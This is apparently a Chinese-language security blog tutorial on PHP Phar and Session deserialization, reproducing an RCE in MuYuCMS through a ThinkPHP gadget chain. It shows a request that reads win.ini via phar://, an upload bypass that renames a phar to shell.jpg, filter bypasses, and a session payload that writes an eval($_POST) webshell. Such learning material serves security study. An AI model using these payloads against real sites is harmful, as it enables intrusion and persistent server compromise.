一文领悟Phar和Session反序列化
Phar和Session反序列化
通过简单的漏洞demo,MuYuCMS的Phar反序列化复现总结帮助大家理解一下这两个反序列化,如有错误,还请斧正!
Phar反序列化
基本介绍
Phar反序列化不依赖unserialize()函数进行反序列化。而是构造phar文件,以序列化的形式存储用户自定义的meta-data这一特性,phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作。具体解析代码。该方法需要在文件系统函数(file_exits()、is_dir()等)参数可控的情况下,配合phar://伪协议直接进行反序列化。即本地构造phar文件把恶意代码本地序列化好,再通过文件上传功能点上传phar文件至目标网站,最后用phar协议配合文件系统函数反序列化phar文件,达到预期目的。
phar文件简介
1 | phar文件是一种打包形式,把php代码和其他资源(图像、表等)捆绑到一个归档文件中来实现应用程序和库的开发,跟jar文件差不多。本质上是一个压缩文件,会议序列化的形式存储用户在自定义的meta-data内的内容 |
phar文件组成
1 | stub:phar文件的标志,必须以 xxx __HALT_COMPILER(); 结尾,否则无法识别。xxx可以为自定义内容。 |
实现方法
0x01、生成phar文件
1、环境准备
php版本:php>=5.2
php.ini配置:phar.readonly设为Off,修改之后要重新启动phpstudy,让配置生效。
2、phar代码
下面是用于生成phar文件的代码
1 |
|
然后我们访问上述1.php文件,即可生成phar文件
成功生成
进一步查看,这也就生成了一个phar文件
0x02、实现反序列化
漏洞实现前提
1 | 1.phar文件要能够上传到服务器端。 |
文件操作函数
php大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
开审
这里使用MuYuCMS的一个phar反序列化做演示。安装就跳过了,直接开始看代码
对于phar的挖掘,我们的着手点主要是文件操作函数、可控魔术方法
我们就以文件操作函数为引,全局检索:is_dir()函数,发现一处函数的参数可控
为了更快了解传参的方式,进一步检索cutformadd,直接用定位页面,然后抓包的形式,来快速地弄清楚传参方式。但是又发现这个方法是灰色的,就说明没有调用,但是事实并非如此,这个CMS应该是直接用html页面绑定某一个函数地形式。(如下)
于是我们直接登录去找页面即可,我们直接访问admin/template/cutformadd,发现是报错了
稍微分析一下常规路由,是以/admin.php/index/index.html,这种形式存在的,有/admin.php/,这种形式,我们直接访问admin.php/template/cutformadd即可
但是光有文件操作函数还是不足以反序列化,还要找链子,根据这个路由的形式我们很容易判断,这其实是一个TP框架。下载项目的时候我们也能看见
主播主播,找链子还是太吃操作了,有没有简单有强势的方法推荐一下呢?有的兄弟,有的,这个经典流行框架,我们直接去网上翻个比较通用的链子利用即可!上大哥
ThinkPHP5.1反序列化实现rce,这里就有通用的链子,我们稍作修改呢!什么?还要改?我不太了解tp框架啊,懵了。。。没事还有大哥撑腰,https://forum.butian.net/share/2678,我们直接用exp即可。**直接站在两个巨人的肩膀上**,在链子中加入一个主命名空间,并在其中添加生成Phar文件的代码,`TestObject`需要替换成链子中的入口类`Windows`。
1 | <?php |
$this->$config = ['var_ajax'=>'',];如果设置为空,那我们get传入的变量名可以为任意值。但是定义了之后,get传入的变量名就只能是我们定义的变量名。比如使用$this->$config = ['var_ajax'=>'cmd',];,则get需要传递cmd=xxxx。
先访问生成phar文件
再翻翻找找文件上传点
上传失败
这就用一个绕过手法了。我们前面提及到phar文件的内容的sub是phar文件的标准格式,也就是CMS可以根据这个文件内部的格式来进行解析,而不是局限于文件后缀,于是我们直接修改一下后缀为shell.jpg,再上传
直接成功上传了
现在直接用phar协议构造payload(路径可以用./尝试出来),即可rce
1 | POST /admin.php/template/cutformadd.html?cmd=type%20c:\\windows\win.ini HTTP/1.1 |
绕过
0X01、绕过__HALT_COMPILER检测的方法:
1、将Phar文件的内容写到压缩包注释中,压缩为zip文件,示例代码如下
1 | <?php |
2、将生成的Phar文件进行gzip压缩,压缩命令如下
1 | gzip test.phar |
0X02、当环境限制了phar不能出现在前面的字符里
1 | compress.bzip://phar:///test.phar/test.txt |
0X03、绕过文件格式(生成代码)
1 |
|
总结下:
其实看了几篇关于phar反序列化的案例,几乎都是在TP框架有链子的基础上实现的,所以满足有全局性的利用链子+文件操作函数的cms+./无限制,可以考虑phar反序列化!如果能独自找到利用链的话,geigei菜菜教教!
Session反序列化
session序列化&反序列化
Session的序列化(session存储)
当用户通过PHP的$_SESSION变量存储数据时,PHP会自动将这些数据序列化(即转换成字符串)并存储在服务器端的Session文件或其他Session存储介质中。序列化的格式通常是可以通过serialize()函数手动生成的格式。
Session的反序列化(session读取)
当用户再次访问Session数据时,PHP会自动从服务器端读取Session文件,并通过unserialize()函数将数据转换回原始格式。这样,开发者可以像操作普通变量一样处理$_SESSION中的数据。
session序列化和反序列化的存在前提就是当代码中调用session_start()函数时,或者php.ini中的session.auto_start的值为1。session_start()被调用或者php.ini中的session.auto_start为1后,我们在与网页交互时**$_SESSION全局变量传递的参数**就会被用session的方式保存在一个默认目录中去
简单利用1
session配置参数
最需要我们关注的点就是存储和读取的处理器,这也是反序列化漏洞存在的的关键所在
存储类别
我就看一看比较常见的处理器、以及存储的格式
| 处理器 | 存储格式 |
|---|---|
| php | 键名+竖线(分割线)+ serialize后的值: |
| php_serialize | serialize后这值: |
| php_binary | 键名长度对应的ASCII字符+键名+serialize后的值: |
我们用下面这这段demo来看看存储的模样
1 |
|
然后去之前提到的存储路径查看找到对应的session保存文件。
php处理器
php_serialize处理器(php>5.5.4)
php_binary处理器,简单一下就行,不太重要
发现php处理器就是键名+竖线+序列化键值组成,读取时键值就会被执行反序列化操作,键名与键值的关键就在于竖线。
漏洞原因
在某个session的生命周期之内,两个文件对同一个session文件的写入与读取的格式的差异(如:一个文件使用php的方式存入,另一个文件以php_serialize的形式读取),一个文件用php_serialize处理器存储变量,另一个文件用php处理器读取session文件中的变量,当我构造存储的参数值出现以下形式时,?ben=|序列化payload&b=1
我们再看存储的形式
此时由于竖线的存在,php处理器就可以处理它,并且被反序列化的键值还是完全可控的!!!然后再结合一些含危险函数的魔术方法不就行了吗!
漏洞demo
我们用一个存在session反序列化漏洞的demo来试一下
1 | //session.php |
先构造payload:ddd=|O:3:"ddd":1:{s:1:"a";s:28:"<?php eval($_POST["abc"]);?>";}
1 | <?php |
接着直接访问test.php
就能生成shell.php了
session.upload_progress反序列化
upload_progress机制介绍
PHP 提供了 session.upload_progress 特性,用于跟踪大文件上传的进度。该功能默认开启,PHP 会在 $_SESSION 变量中存储文件上传的相关信息
漏洞成因
由于存在把文件相关的信息存储在session文件中,就可通过文件之间的存储读取差异(存储用php_serialize、读取用了php)来实现rce,类同于上述的反序列化差异,其中我们可控的就是我们的文件名。不过这个漏洞的要求更高,除了需要上面的简单利用的配置之外,要保证传入的值不被清除(php.ini中session.upload_progress.cleanup = Off)
漏洞demo
upload.php中的action根据漏洞文件的路径而定
1 | //upload.php上传代码 |
构造O:5:"test1":1:{s:3:"ben";s:36:"print_r(scandir(dirname(__FILE__)));";}
1 |
|
但是要防止双引号转义,同时在前面加上|,得到最终payload:|O:5:\"test1\":1:{s:3:\"ben\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
然后我们访问upload.php上传文件
即可实现session.upload_progress反序列化。




































